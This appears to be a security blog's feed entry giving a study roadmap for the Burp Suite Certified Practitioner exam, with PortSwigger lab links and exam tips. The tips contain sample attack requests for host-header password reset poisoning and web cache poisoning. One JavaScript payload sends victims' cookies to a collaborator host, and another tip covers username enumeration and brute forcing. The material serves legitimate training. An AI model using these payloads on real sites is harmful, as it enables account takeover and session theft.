<?xml version="1.0" encoding="utf-8"?><feed xmlns="http://www.w3.org/2005/Atom" ><generator uri="https://jekyllrb.com/" version="3.10.0">Jekyll</generator><link href="https://py-us3r.github.io/feed.xml" rel="self" type="application/atom+xml" /><link href="https://py-us3r.github.io/" rel="alternate" type="text/html" /><updated>2025-11-21T10:59:24+00:00</updated><id>https://py-us3r.github.io/feed.xml</id><title type="html">PyUs3r Blog</title><subtitle>Posts about security, CTFs and networking</subtitle><author><name>PyUs3r</name><email>pyus3r@gmail.com</email><uri>https://linktr.ee/pyus3r</uri></author><entry><title type="html">Burp Suite Certified Practitioner Roadmap - BSCP</title><link href="https://py-us3r.github.io/bscp-roadmap-bscproadmap/" rel="alternate" type="text/html" title="Burp Suite Certified Practitioner Roadmap - BSCP" /><published>2025-11-21T00:00:00+00:00</published><updated>2025-11-21T00:00:00+00:00</updated><id>https://py-us3r.github.io/bscp-roadmap-bscproadmap</id><content type="html" xml:base="https://py-us3r.github.io/bscp-roadmap-bscproadmap/"><![CDATA[<h1 id="which-labs-do-i-have-to-do">Which labs do I have to do?</h1>

<blockquote>
  <p>To complete the BSCP certification, it is not necessary to do all the PortSwigger labs; it is enough to do the labs that are relevant for the exam. I recommend repeating the labs twice: once while creating a write-up and another time while taking notes for the exam.</p>
</blockquote>

<blockquote>
  <p>However, the goal of this certification should be to learn and improve in web pentesting, so I recommend doing all the labs.</p>
</blockquote>

<blockquote>
  <p>Once you complete all these labs, the recommended next step is to do the mystery labs. There is no specific number to complete, just continue until you feel comfortable solving them.</p>
</blockquote>

<h1 id="foothold---stage-1"><strong>FOOTHOLD - STAGE 1</strong></h1>
<h2 id="content-discovery">Content Discovery</h2>

<ul class="task-list">
  <li class="task-list-item"><input type="checkbox" class="task-list-item-checkbox" disabled="disabled" /><a href="https://portswigger.net/web-security/information-disclosure/exploiting/lab-infoleak-in-version-control-history">Info leak in version control history</a></li>
</ul>

<h2 id="dom-based-xss">DOM-Based XSS</h2>

<ul class="task-list">
  <li class="task-list-item"><input type="checkbox" class="task-list-item-checkbox" disabled="disabled" /><a href="https://portswigger.net/web-security/cross-site-scripting/dom-based/lab-angularjs-expression">DOM XSS in AngularJS expression with angle brackets and double quotes HTML-encoded</a></li>
  <li class="task-list-item"><input type="checkbox" class="task-list-item-checkbox" disabled="disabled" /><a href="https://portswigger.net/web-security/cross-site-scripting/dom-based/lab-document-write-sink-inside-select-element">DOM XSS in document.write sink using source location.search inside a select element</a></li>
  <li class="task-list-item"><input type="checkbox" class="task-list-item-checkbox" disabled="disabled" /><a href="https://portswigger.net/web-security/dom-based/controlling-the-web-message-source/lab-dom-xss-using-web-messages-and-json-parse">DOM XSS using web messages and JSON.parse</a></li>
  <li class="task-list-item"><input type="checkbox" class="task-list-item-checkbox" disabled="disabled" /><a href="https://portswigger.net/web-security/dom-based/controlling-the-web-message-source/lab-dom-xss-using-web-messages-and-a-javascript-url">DOM XSS using web messages and a JavaScript URL</a></li>
  <li class="task-list-item"><input type="checkbox" class="task-list-item-checkbox" disabled="disabled" /><a href="https://portswigger.net/web-security/dom-based/controlling-the-web-message-source/lab-dom-xss-using-web-messages">DOM XSS using web messages</a></li>
  <li class="task-list-item"><input type="checkbox" class="task-list-item-checkbox" disabled="disabled" /><a href="https://portswigger.net/web-security/cross-site-scripting/dom-based/lab-dom-xss-reflected">DOM XSS reflected</a></li>
  <li class="task-list-item"><input type="checkbox" class="task-list-item-checkbox" disabled="disabled" /><a href="https://portswigger.net/web-security/dom-based/cookie-manipulation/lab-dom-cookie-manipulation">DOM cookie manipulation</a></li>
</ul>

<h2 id="cross-site-scripting-other-contexts">Cross-Site Scripting (Other contexts)</h2>

<ul class="task-list">
  <li class="task-list-item"><input type="checkbox" class="task-list-item-checkbox" disabled="disabled" /><a href="https://portswigger.net/web-security/cross-site-scripting/contexts/lab-html-context-with-most-tags-and-attributes-blocked">Reflected XSS into HTML context with most tags and attributes blocked</a></li>
  <li class="task-list-item"><input type="checkbox" class="task-list-item-checkbox" disabled="disabled" /><a href="https://portswigger.net/web-security/cross-site-scripting/contexts/lab-some-svg-markup-allowed">Reflected XSS with some SVG markup allowed</a></li>
  <li class="task-list-item"><input type="checkbox" class="task-list-item-checkbox" disabled="disabled" /><a href="https://portswigger.net/web-security/cross-site-scripting/contexts/lab-html-context-with-all-standard-tags-blocked">Reflected XSS into HTML context with all tags blocked except custom ones</a></li>
  <li class="task-list-item"><input type="checkbox" class="task-list-item-checkbox" disabled="disabled" /><a href="https://portswigger.net/web-security/cross-site-scripting/dom-based/lab-jquery-selector-hash-change-event">DOM XSS in jQuery selector sink using a hashchange event</a></li>
  <li class="task-list-item"><input type="checkbox" class="task-list-item-checkbox" disabled="disabled" /><a href="https://portswigger.net/web-security/cross-site-scripting/contexts/lab-javascript-string-single-quote-backslash-escaped">Reflected XSS into a JavaScript string with single quote and backslash escaped</a></li>
  <li class="task-list-item"><input type="checkbox" class="task-list-item-checkbox" disabled="disabled" /><a href="https://portswigger.net/web-security/cross-site-scripting/contexts/lab-javascript-string-angle-brackets-double-quotes-encoded-single-quotes-escaped">Reflected XSS into a JavaScript string with angle brackets and double quotes HTML-encoded and single quotes escaped</a></li>
  <li class="task-list-item"><input type="checkbox" class="task-list-item-checkbox" disabled="disabled" /><a href="https://portswigger.net/web-security/cross-site-scripting/contexts/lab-javascript-template-literal-angle-brackets-single-double-quotes-backslash-backticks-escaped">Reflected XSS into a template literal with angle brackets, single, double quotes, backslash and backticks Unicode-escaped</a></li>
  <li class="task-list-item"><input type="checkbox" class="task-list-item-checkbox" disabled="disabled" /><a href="https://portswigger.net/web-security/cross-site-scripting/dom-based/lab-dom-xss-stored">Stored DOM XSS</a></li>
</ul>

<h2 id="web-cache-poisoning">Web Cache Poisoning</h2>

<ul class="task-list">
  <li class="task-list-item"><input type="checkbox" class="task-list-item-checkbox" disabled="disabled" /><a href="https://portswigger.net/web-security/web-cache-poisoning/exploiting-design-flaws/lab-web-cache-poisoning-with-an-unkeyed-header">Web cache poisoning with unkeyed header</a></li>
  <li class="task-list-item"><input type="checkbox" class="task-list-item-checkbox" disabled="disabled" /><a href="https://portswigger.net/web-security/web-cache-poisoning/exploiting-design-flaws/lab-web-cache-poisoning-with-an-unkeyed-cookie">Web cache poisoning with an unkeyed cookie</a></li>
  <li class="task-list-item"><input type="checkbox" class="task-list-item-checkbox" disabled="disabled" /><a href="https://portswigger.net/web-security/web-cache-poisoning/exploiting-design-flaws/lab-web-cache-poisoning-targeted-using-an-unknown-header">Targeted web cache poisoning using an unknown header</a></li>
  <li class="task-list-item"><input type="checkbox" class="task-list-item-checkbox" disabled="disabled" /><a href="https://portswigger.net/web-security/web-cache-poisoning/exploiting-implementation-flaws/lab-web-cache-poisoning-unkeyed-query">Web cache poisoning via an unkeyed query string</a></li>
  <li class="task-list-item"><input type="checkbox" class="task-list-item-checkbox" disabled="disabled" /><a href="https://portswigger.net/web-security/web-cache-poisoning/exploiting-implementation-flaws/lab-web-cache-poisoning-unkeyed-param">Web cache poisoning unkeyed param</a></li>
  <li class="task-list-item"><input type="checkbox" class="task-list-item-checkbox" disabled="disabled" /><a href="https://portswigger.net/web-security/web-cache-poisoning/exploiting-implementation-flaws/lab-web-cache-poisoning-param-cloaking">Web cache poisoning param cloaking</a></li>
  <li class="task-list-item"><input type="checkbox" class="task-list-item-checkbox" disabled="disabled" /><a href="https://portswigger.net/web-security/host-header/exploiting/lab-host-header-web-cache-poisoning-via-ambiguous-requests">Web cache poisoning via ambiguous requests</a></li>
  <li class="task-list-item"><input type="checkbox" class="task-list-item-checkbox" disabled="disabled" /><a href="https://portswigger.net/web-security/web-cache-poisoning/exploiting-design-flaws/lab-web-cache-poisoning-with-multiple-headers">Web cache poisoning with multiple headers</a></li>
  <li class="task-list-item"><input type="checkbox" class="task-list-item-checkbox" disabled="disabled" /><a href="https://portswigger.net/web-security/web-cache-poisoning/exploiting-implementation-flaws/lab-web-cache-poisoning-fat-get">Web cache poisoning fat GET</a></li>
</ul>

<h2 id="host-header-attacks">Host Header Attacks</h2>

<ul class="task-list">
  <li class="task-list-item"><input type="checkbox" class="task-list-item-checkbox" disabled="disabled" /><a href="https://portswigger.net/web-security/authentication/other-mechanisms/lab-password-reset-poisoning-via-middleware">Password reset poisoning via middle-ware</a></li>
  <li class="task-list-item"><input type="checkbox" class="task-list-item-checkbox" disabled="disabled" /><a href="https://portswigger.net/web-security/host-header/exploiting/lab-host-header-host-validation-bypass-via-connection-state-attack">Host validation bypass via connection state attack</a></li>
</ul>

<h2 id="http-request-smuggling">HTTP Request Smuggling</h2>

<ul class="task-list">
  <li class="task-list-item"><input type="checkbox" class="task-list-item-checkbox" disabled="disabled" /><a href="https://portswigger.net/web-security/request-smuggling/lab-obfuscating-te-header">HTTP request smuggling, obfuscating the TE header</a></li>
  <li class="task-list-item"><input type="checkbox" class="task-list-item-checkbox" disabled="disabled" /><a href="https://portswigger.net/web-security/request-smuggling/exploiting/lab-bypass-front-end-controls-te-cl">Exploiting HTTP request smuggling to bypass front-end security controls, TE.CL vulnerability</a></li>
  <li class="task-list-item"><input type="checkbox" class="task-list-item-checkbox" disabled="disabled" /><a href="https://portswigger.net/web-security/request-smuggling/exploiting/lab-bypass-front-end-controls-cl-te">Exploiting HTTP request smuggling to bypass front-end security controls, CL.TE vulnerability</a></li>
  <li class="task-list-item"><input type="checkbox" class="task-list-item-checkbox" disabled="disabled" /><a href="https://portswigger.net/web-security/request-smuggling/exploiting/lab-capture-other-users-requests">Exploiting HTTP request smuggling to capture other users’ requests</a></li>
  <li class="task-list-item"><input type="checkbox" class="task-list-item-checkbox" disabled="disabled" /><a href="https://portswigger.net/web-security/request-smuggling/exploiting/lab-deliver-reflected-xss">Exploiting HTTP request smuggling to deliver reflected XSS</a></li>
  <li class="task-list-item"><input type="checkbox" class="task-list-item-checkbox" disabled="disabled" /><a href="https://portswigger.net/web-security/request-smuggling/advanced/lab-request-smuggling-h2-request-smuggling-via-crlf-injection">H2 request smuggling via CRLF injection</a></li>
  <li class="task-list-item"><input type="checkbox" class="task-list-item-checkbox" disabled="disabled" /><a href="https://portswigger.net/web-security/request-smuggling/advanced/response-queue-poisoning/lab-request-smuggling-h2-response-queue-poisoning-via-te-request-smuggling">H2 response queue poisoning via TE request smuggling</a></li>
</ul>

<h2 id="brute-force">Brute Force</h2>

<ul class="task-list">
  <li class="task-list-item"><input type="checkbox" class="task-list-item-checkbox" disabled="disabled" /><a href="https://portswigger.net/web-security/authentication/other-mechanisms/lab-brute-forcing-a-stay-logged-in-cookie">Brute forcing a stay-logged-in cookie</a></li>
  <li class="task-list-item"><input type="checkbox" class="task-list-item-checkbox" disabled="disabled" /><a href="https://portswigger.net/web-security/authentication/other-mechanisms/lab-offline-password-cracking">Offline password cracking</a></li>
  <li class="task-list-item"><input type="checkbox" class="task-list-item-checkbox" disabled="disabled" /><a href="https://portswigger.net/web-security/authentication/password-based/lab-username-enumeration-via-response-timing">Username enumeration via response timing</a></li>
  <li class="task-list-item"><input type="checkbox" class="task-list-item-checkbox" disabled="disabled" /><a href="https://portswigger.net/web-security/authentication/password-based/lab-username-enumeration-via-subtly-different-responses">Username enumeration via subtly different responses</a></li>
  <li class="task-list-item"><input type="checkbox" class="task-list-item-checkbox" disabled="disabled" /><a href="https://portswigger.net/web-security/authentication/password-based/lab-username-enumeration-via-different-responses">Username enumeration via different responses</a></li>
</ul>

<h2 id="authentication">Authentication</h2>

<ul class="task-list">
  <li class="task-list-item"><input type="checkbox" class="task-list-item-checkbox" disabled="disabled" /><a href="https://portswigger.net/web-security/logic-flaws/examples/lab-logic-flaws-inconsistent-handling-of-exceptional-input">Inconsistent handling of exceptional input</a></li>
  <li class="task-list-item"><input type="checkbox" class="task-list-item-checkbox" disabled="disabled" /><a href="https://portswigger.net/web-security/logic-flaws/examples/lab-logic-flaws-infinite-money">Infinite money</a></li>
</ul>

<h1 id="privilege-escalation---stage-2"><strong>PRIVILEGE ESCALATION - STAGE 2</strong></h1>

<h2 id="csrf">CSRF</h2>

<ul class="task-list">
  <li class="task-list-item"><input type="checkbox" class="task-list-item-checkbox" disabled="disabled" /><a href="https://portswigger.net/web-security/oauth/lab-oauth-forced-oauth-profile-linking">Forced OAuth profile linking</a></li>
  <li class="task-list-item"><input type="checkbox" class="task-list-item-checkbox" disabled="disabled" /><a href="https://portswigger.net/web-security/csrf/bypassing-referer-based-defenses/lab-referer-validation-broken">CSRF with broken Referer validation</a></li>
  <li class="task-list-item"><input type="checkbox" class="task-list-item-checkbox" disabled="disabled" /><a href="https://portswigger.net/web-security/csrf/bypassing-referer-based-defenses/lab-referer-validation-depends-on-header-being-present">CSRF where Referer validation depends on header being present</a></li>
  <li class="task-list-item"><input type="checkbox" class="task-list-item-checkbox" disabled="disabled" /><a href="https://portswigger.net/web-security/csrf/bypassing-token-validation/lab-token-tied-to-non-session-cookie">CSRF where token is tied to non-session cookie</a></li>
  <li class="task-list-item"><input type="checkbox" class="task-list-item-checkbox" disabled="disabled" /><a href="https://portswigger.net/web-security/csrf/bypassing-token-validation/lab-token-duplicated-in-cookie">CSRF where token is duplicated in cookie</a></li>
  <li class="task-list-item"><input type="checkbox" class="task-list-item-checkbox" disabled="disabled" /><a href="https://portswigger.net/web-security/csrf/bypassing-token-validation/lab-token-validation-depends-on-token-being-present">CSRF where token validation depends on token being present</a></li>
  <li class="task-list-item"><input type="checkbox" class="task-list-item-checkbox" disabled="disabled" /><a href="https://portswigger.net/web-security/csrf/lab-no-defenses">CSRF vulnerability with no defences</a></li>
  <li class="task-list-item"><input type="checkbox" class="task-list-item-checkbox" disabled="disabled" /><a href="https://portswigger.net/web-security/csrf/bypassing-samesite-restrictions/lab-samesite-strict-bypass-via-sibling-domain">SameSite Strict bypass via sibling domain</a></li>
  <li class="task-list-item"><input type="checkbox" class="task-list-item-checkbox" disabled="disabled" /><a href="https://portswigger.net/web-security/csrf/bypassing-samesite-restrictions/lab-samesite-strict-bypass-via-cookie-refresh">SameSite Lax bypass via cookie refresh</a></li>
</ul>

<h2 id="password-reset">Password Reset</h2>

<ul class="task-list">
  <li class="task-list-item"><input type="checkbox" class="task-list-item-checkbox" disabled="disabled" /><a href="https://portswigger.net/web-security/authentication/other-mechanisms/lab-password-reset-broken-logic">Password reset broken logic</a></li>
  <li class="task-list-item"><input type="checkbox" class="task-list-item-checkbox" disabled="disabled" /><a href="https://portswigger.net/web-security/logic-flaws/examples/lab-logic-flaws-weak-isolation-on-dual-use-endpoint">Weak isolation on dual-use endpoint</a></li>
  <li class="task-list-item"><input type="checkbox" class="task-list-item-checkbox" disabled="disabled" /><a href="https://portswigger.net/web-security/race-conditions/lab-race-conditions-exploiting-time-sensitive-vulnerabilities">Exploiting time-sensitive vulnerabilities</a></li>
</ul>

<h2 id="sql-injection">SQL Injection</h2>

<ul class="task-list">
  <li class="task-list-item"><input type="checkbox" class="task-list-item-checkbox" disabled="disabled" /><a href="https://portswigger.net/web-security/sql-injection/blind/lab-time-delays-info-retrieval">Blind SQL injection with time delays and information retrieval</a></li>
  <li class="task-list-item"><input type="checkbox" class="task-list-item-checkbox" disabled="disabled" /><a href="https://portswigger.net/web-security/sql-injection/blind/lab-out-of-band-data-exfiltration">Blind SQL injection with out-of-band data exfiltration</a></li>
  <li class="task-list-item"><input type="checkbox" class="task-list-item-checkbox" disabled="disabled" /><a href="https://portswigger.net/web-security/sql-injection/blind/lab-out-of-band">Blind SQL injection with out-of-band interaction</a></li>
  <li class="task-list-item"><input type="checkbox" class="task-list-item-checkbox" disabled="disabled" /><a href="https://portswigger.net/web-security/sql-injection/blind/lab-conditional-responses">Blind SQL injection with conditional responses</a></li>
  <li class="task-list-item"><input type="checkbox" class="task-list-item-checkbox" disabled="disabled" /><a href="https://portswigger.net/web-security/sql-injection/examining-the-database/lab-listing-database-contents-oracle">SQL injection attack, listing the database contents on Oracle</a></li>
  <li class="task-list-item"><input type="checkbox" class="task-list-item-checkbox" disabled="disabled" /><a href="https://portswigger.net/web-security/sql-injection/examining-the-database/lab-listing-database-contents-non-oracle">SQL injection attack, listing the database contents on non-Oracle databases</a></li>
  <li class="task-list-item"><input type="checkbox" class="task-list-item-checkbox" disabled="disabled" /><a href="https://portswigger.net/web-security/sql-injection/blind/lab-sql-injection-visible-error-based">Visible error-based SQL injection</a></li>
</ul>

<h2 id="jwt">JWT</h2>

<ul class="task-list">
  <li class="task-list-item"><input type="checkbox" class="task-list-item-checkbox" disabled="disabled" /><a href="https://portswigger.net/web-security/jwt/lab-jwt-authentication-bypass-via-jwk-header-injection">Authentication bypass via JWK header injection</a></li>
  <li class="task-list-item"><input type="checkbox" class="task-list-item-checkbox" disabled="disabled" /><a href="https://portswigger.net/web-security/jwt/lab-jwt-authentication-bypass-via-kid-header-path-traversal">Authentication bypass via KID header path traversal</a></li>
  <li class="task-list-item"><input type="checkbox" class="task-list-item-checkbox" disabled="disabled" /><a href="https://portswigger.net/web-security/jwt/lab-jwt-authentication-bypass-via-jku-header-injection">Authentication bypass via JKU header injection</a></li>
</ul>

<h2 id="prototype-pollution">Prototype Pollution</h2>

<ul class="task-list">
  <li class="task-list-item"><input type="checkbox" class="task-list-item-checkbox" disabled="disabled" /><a href="https://portswigger.net/web-security/prototype-pollution/finding/lab-prototype-pollution-client-side-prototype-pollution-in-third-party-libraries">Client-side prototype pollution in third-party libraries</a></li>
  <li class="task-list-item"><input type="checkbox" class="task-list-item-checkbox" disabled="disabled" /><a href="https://portswigger.net/web-security/prototype-pollution/server-side/lab-privilege-escalation-via-server-side-prototype-pollution">Privilege escalation via server-side prototype pollution</a></li>
</ul>

<h2 id="api-testing">API Testing</h2>

<ul class="task-list">
  <li class="task-list-item"><input type="checkbox" class="task-list-item-checkbox" disabled="disabled" /><a href="https://portswigger.net/web-security/api-testing/lab-exploiting-mass-assignment-vulnerability">Exploiting mass assignment vulnerability</a></li>
  <li class="task-list-item"><input type="checkbox" class="task-list-item-checkbox" disabled="disabled" /><a href="https://portswigger.net/web-security/api-testing/server-side-parameter-pollution/lab-exploiting-server-side-parameter-pollution-in-query-string">Exploiting server-side parameter pollution in query string</a></li>
</ul>

<h2 id="access-control">Access Control</h2>

<ul class="task-list">
  <li class="task-list-item"><input type="checkbox" class="task-list-item-checkbox" disabled="disabled" /><a href="https://portswigger.net/web-security/access-control/lab-user-role-can-be-modified-in-user-profile">User role can be modified in user profile</a></li>
  <li class="task-list-item"><input type="checkbox" class="task-list-item-checkbox" disabled="disabled" /><a href="https://portswigger.net/web-security/logic-flaws/examples/lab-logic-flaws-authentication-bypass-via-flawed-state-machine">Authentication bypass via flawed state machine</a></li>
  <li class="task-list-item"><input type="checkbox" class="task-list-item-checkbox" disabled="disabled" /><a href="https://portswigger.net/web-security/access-control/lab-url-based-access-control-can-be-circumvented">URL-based access control can be circumvented</a></li>
  <li class="task-list-item"><input type="checkbox" class="task-list-item-checkbox" disabled="disabled" /><a href="https://portswigger.net/web-security/information-disclosure/exploiting/lab-infoleak-authentication-bypass">Authentication bypass via information disclosure</a></li>
</ul>

<h2 id="graphql">GraphQL</h2>

<ul class="task-list">
  <li class="task-list-item"><input type="checkbox" class="task-list-item-checkbox" disabled="disabled" /><a href="https://portswigger.net/web-security/graphql/lab-graphql-find-the-endpoint">Find the endpoint</a></li>
  <li class="task-list-item"><input type="checkbox" class="task-list-item-checkbox" disabled="disabled" /><a href="https://portswigger.net/web-security/graphql/lab-graphql-accidental-field-exposure">Accidental field exposure</a></li>
  <li class="task-list-item"><input type="checkbox" class="task-list-item-checkbox" disabled="disabled" /><a href="https://portswigger.net/web-security/graphql/lab-graphql-brute-force-protection-bypass">Brute-force protection bypass</a></li>
</ul>

<h2 id="cors">CORS</h2>

<ul class="task-list">
  <li class="task-list-item"><input type="checkbox" class="task-list-item-checkbox" disabled="disabled" /><a href="https://portswigger.net/web-security/cors/lab-breaking-https-attack">Breaking HTTPS attack</a></li>
  <li class="task-list-item"><input type="checkbox" class="task-list-item-checkbox" disabled="disabled" /><a href="https://portswigger.net/web-security/cors/lab-null-origin-whitelisted-attack">Null origin whitelisted attack</a></li>
</ul>

<h1 id="data-exfiltration---stage-3"><strong>DATA EXFILTRATION - STAGE 3</strong></h1>

<h2 id="xxe">XXE</h2>

<ul class="task-list">
  <li class="task-list-item"><input type="checkbox" class="task-list-item-checkbox" disabled="disabled" /><a href="https://portswigger.net/web-security/xxe/lab-xinclude-attack">XInclude attack</a></li>
  <li class="task-list-item"><input type="checkbox" class="task-list-item-checkbox" disabled="disabled" /><a href="https://portswigger.net/web-security/xxe/blind/lab-xxe-with-out-of-band-exfiltration">Blind OOB exfiltration</a></li>
  <li class="task-list-item"><input type="checkbox" class="task-list-item-checkbox" disabled="disabled" /><a href="https://portswigger.net/web-security/xxe/blind/lab-xxe-with-data-retrieval-via-error-messages">Data retrieval via error messages</a></li>
  <li class="task-list-item"><input type="checkbox" class="task-list-item-checkbox" disabled="disabled" /><a href="https://portswigger.net/web-security/xxe/lab-xxe-via-file-upload">Via file upload</a></li>
  <li class="task-list-item"><input type="checkbox" class="task-list-item-checkbox" disabled="disabled" /><a href="https://portswigger.net/web-security/xxe/lab-exploiting-xxe-to-perform-ssrf">Exploiting XXE to perform SSRF</a></li>
</ul>

<h2 id="ssrf">SSRF</h2>

<ul class="task-list">
  <li class="task-list-item"><input type="checkbox" class="task-list-item-checkbox" disabled="disabled" /><a href="https://portswigger.net/web-security/ssrf/lab-ssrf-with-blacklist-filter">SSRF with blacklist-based input filter</a></li>
  <li class="task-list-item"><input type="checkbox" class="task-list-item-checkbox" disabled="disabled" /><a href="https://portswigger.net/web-security/host-header/exploiting/lab-host-header-ssrf-via-flawed-request-parsing">SSRF via flawed request parsing</a></li>
  <li class="task-list-item"><input type="checkbox" class="task-list-item-checkbox" disabled="disabled" /><a href="https://portswigger.net/web-security/oauth/openid/lab-oauth-ssrf-via-openid-dynamic-client-registration">SSRF via OpenID dynamic client registration</a></li>
  <li class="task-list-item"><input type="checkbox" class="task-list-item-checkbox" disabled="disabled" /><a href="https://portswigger.net/web-security/host-header/exploiting/lab-host-header-routing-based-ssrf">Host header routing-based SSRF</a></li>
  <li class="task-list-item"><input type="checkbox" class="task-list-item-checkbox" disabled="disabled" /><a href="https://portswigger.net/web-security/ssrf/lab-ssrf-filter-bypass-via-open-redirection">SSRF with filter bypass via open redirection vulnerability</a></li>
</ul>

<h2 id="server-side-template-injection-ssti">Server-Side Template Injection (SSTI)</h2>

<ul class="task-list">
  <li class="task-list-item"><input type="checkbox" class="task-list-item-checkbox" disabled="disabled" /><a href="https://portswigger.net/web-security/server-side-template-injection/exploiting/lab-server-side-template-injection-basic-code-context">Basic server-side template injection code context</a></li>
  <li class="task-list-item"><input type="checkbox" class="task-list-item-checkbox" disabled="disabled" /><a href="https://portswigger.net/web-security/server-side-template-injection/exploiting/lab-server-side-template-injection-with-information-disclosure-via-user-supplied-objects">Server-side template injection with information disclosure via user-supplied objects</a></li>
  <li class="task-list-item"><input type="checkbox" class="task-list-item-checkbox" disabled="disabled" /><a href="https://portswigger.net/web-security/server-side-template-injection/exploiting/lab-server-side-template-injection-using-documentation">Server-side template injection using documentation</a></li>
  <li class="task-list-item"><input type="checkbox" class="task-list-item-checkbox" disabled="disabled" /><a href="https://portswigger.net/web-security/server-side-template-injection/exploiting/lab-server-side-template-injection-basic">Basic server-side template injection</a></li>
  <li class="task-list-item"><input type="checkbox" class="task-list-item-checkbox" disabled="disabled" /><a href="https://portswigger.net/web-security/server-side-template-injection/exploiting/lab-server-side-template-injection-in-an-unknown-language-with-a-documented-exploit">Server-side template injection in an unknown language</a></li>
</ul>

<h2 id="server-side-prototype-polution-sspp">Server-Side Prototype Polution (SSPP)</h2>

<ul class="task-list">
  <li class="task-list-item"><input type="checkbox" class="task-list-item-checkbox" disabled="disabled" /><a href="https://portswigger.net/web-security/prototype-pollution/server-side/lab-remote-code-execution-via-server-side-prototype-pollution">Remote code execution via server-side prototype pollution</a></li>
</ul>

<h2 id="file-path-traversal">File Path Traversal</h2>

<ul class="task-list">
  <li class="task-list-item"><input type="checkbox" class="task-list-item-checkbox" disabled="disabled" /><a href="https://portswigger.net/web-security/file-path-traversal/lab-absolute-path-bypass">Absolute path bypass</a></li>
  <li class="task-list-item"><input type="checkbox" class="task-list-item-checkbox" disabled="disabled" /><a href="https://portswigger.net/web-security/file-path-traversal/lab-sequences-stripped-non-recursively">Sequences stripped non-recursively</a></li>
  <li class="task-list-item"><input type="checkbox" class="task-list-item-checkbox" disabled="disabled" /><a href="https://portswigger.net/web-security/file-path-traversal/lab-superfluous-url-decode">Superfluous URL decode</a></li>
  <li class="task-list-item"><input type="checkbox" class="task-list-item-checkbox" disabled="disabled" /><a href="https://portswigger.net/web-security/file-path-traversal/lab-validate-start-of-path">Validate start of path</a></li>
  <li class="task-list-item"><input type="checkbox" class="task-list-item-checkbox" disabled="disabled" /><a href="https://portswigger.net/web-security/file-path-traversal/lab-validate-file-extension-null-byte-bypass">Validate file extension null byte bypass</a></li>
</ul>

<h2 id="file-upload">File Upload</h2>

<ul class="task-list">
  <li class="task-list-item"><input type="checkbox" class="task-list-item-checkbox" disabled="disabled" /><a href="https://portswigger.net/web-security/file-upload/lab-file-upload-web-shell-upload-via-path-traversal">Web shell upload via path traversal</a></li>
  <li class="task-list-item"><input type="checkbox" class="task-list-item-checkbox" disabled="disabled" /><a href="https://portswigger.net/web-security/file-upload/lab-file-upload-web-shell-upload-via-obfuscated-file-extension">Web shell upload via obfuscated file extension</a></li>
  <li class="task-list-item"><input type="checkbox" class="task-list-item-checkbox" disabled="disabled" /><a href="https://portswigger.net/web-security/file-upload/lab-file-upload-remote-code-execution-via-polyglot-web-shell-upload">Remote code execution via polyglot web shell upload</a></li>
  <li class="task-list-item"><input type="checkbox" class="task-list-item-checkbox" disabled="disabled" /><a href="https://portswigger.net/web-security/file-upload/lab-file-upload-web-shell-upload-via-extension-blacklist-bypass">Web shell upload via extension blacklist bypass</a></li>
  <li class="task-list-item"><input type="checkbox" class="task-list-item-checkbox" disabled="disabled" /><a href="https://portswigger.net/web-security/file-upload/lab-file-upload-web-shell-upload-via-content-type-restriction-bypass">Web shell upload via content-type restriction bypass</a></li>
  <li class="task-list-item"><input type="checkbox" class="task-list-item-checkbox" disabled="disabled" /><a href="https://portswigger.net/web-security/xxe/lab-xxe-via-file-upload">Exploiting XXE via image file upload</a></li>
  <li class="task-list-item"><input type="checkbox" class="task-list-item-checkbox" disabled="disabled" /><a href="https://portswigger.net/web-security/file-upload/lab-file-upload-web-shell-upload-via-race-condition">Web shell upload via race condition</a></li>
</ul>

<h2 id="deserialization">Deserialization</h2>

<ul class="task-list">
  <li class="task-list-item"><input type="checkbox" class="task-list-item-checkbox" disabled="disabled" /><a href="https://portswigger.net/web-security/deserialization/exploiting/lab-deserialization-arbitrary-object-injection-in-php">Arbitrary object injection in PHP</a></li>
  <li class="task-list-item"><input type="checkbox" class="task-list-item-checkbox" disabled="disabled" /><a href="https://portswigger.net/web-security/deserialization/exploiting/lab-deserialization-exploiting-java-deserialization-with-apache-commons">Exploiting Java deserialization with Apache Commons</a></li>
  <li class="task-list-item"><input type="checkbox" class="task-list-item-checkbox" disabled="disabled" /><a href="https://portswigger.net/web-security/deserialization/exploiting/lab-deserialization-exploiting-php-deserialization-with-a-pre-built-gadget-chain">Exploiting PHP deserialization with pre-built gadget chain</a></li>
</ul>

<h2 id="os-command-injection">OS Command Injection</h2>

<ul class="task-list">
  <li class="task-list-item"><input type="checkbox" class="task-list-item-checkbox" disabled="disabled" /><a href="https://portswigger.net/web-security/os-command-injection/lab-blind-out-of-band-data-exfiltration">Blind out-of-band data exfiltration</a></li>
  <li class="task-list-item"><input type="checkbox" class="task-list-item-checkbox" disabled="disabled" /><a href="https://portswigger.net/web-security/os-command-injection/lab-blind-output-redirection">Blind output redirection</a></li>
</ul>

<h1 id="exam-tips">Exam Tips</h1>

<p><img src="/img2/Pasted%20image%2020251120103758.png" alt="" /></p>
<blockquote>
  <p>This table shows which vulnerabilities are included in the exam.</p>
</blockquote>

<blockquote>
  <p>Below I will provide examples I have found that fit each vulnerability.</p>
</blockquote>

<ul>
  <li>STAGE 1 - Host Header Poison (Forgot-Password)</li>
</ul>

<div class="language-http highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="err">POST /forgot_password
Host: &lt;exploit-server&gt;.web-security-academy.net

-----
Exploit Server /log

/forgot-password?temp-forgot-password-token=&lt;TOKEN&gt;
</span></code></pre></div></div>

<ul>
  <li>STAGE 1 - Web Cache Poisoning with an unkeyed header (tracking.js)</li>
</ul>

<div class="language-http highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="err">GET / 
Host: &lt;exploit-server&gt;.web-security-academy.net
X-Forwarded-For: &lt;exploit-server&gt;.web-security-academy.net
X-Forwarded-Host: &lt;exploit-server&gt;.web-security-academy.net

-----
Exploit Server /resources/js/tracking.js

location='https://&lt;BURP-COLLABORATOR&gt;?cookie='+document.cookie
</span></code></pre></div></div>

<ul>
  <li>STAGE 1 - Identify valid user accounts with password reset function</li>
</ul>

<p><img src="/img2/Pasted%20image%2020251112225244.png" alt="" />
<img src="/img2/Pasted%20image%2020251112225317.png" alt="" /></p>
<blockquote>
  <p>By using the user dictionary provided by PortSwigger, you find another valid user besides Carlos; in my case, it was the user root.</p>
</blockquote>

<blockquote>
  <p>Once we identify the new user “root”, all that remains is to perform brute force using the password dictionary provided by PortSwigger.</p>
</blockquote>

<ul>
  <li>STAGE 1 - HTTP Request Smuggling (XSS via User-Agent)</li>
</ul>

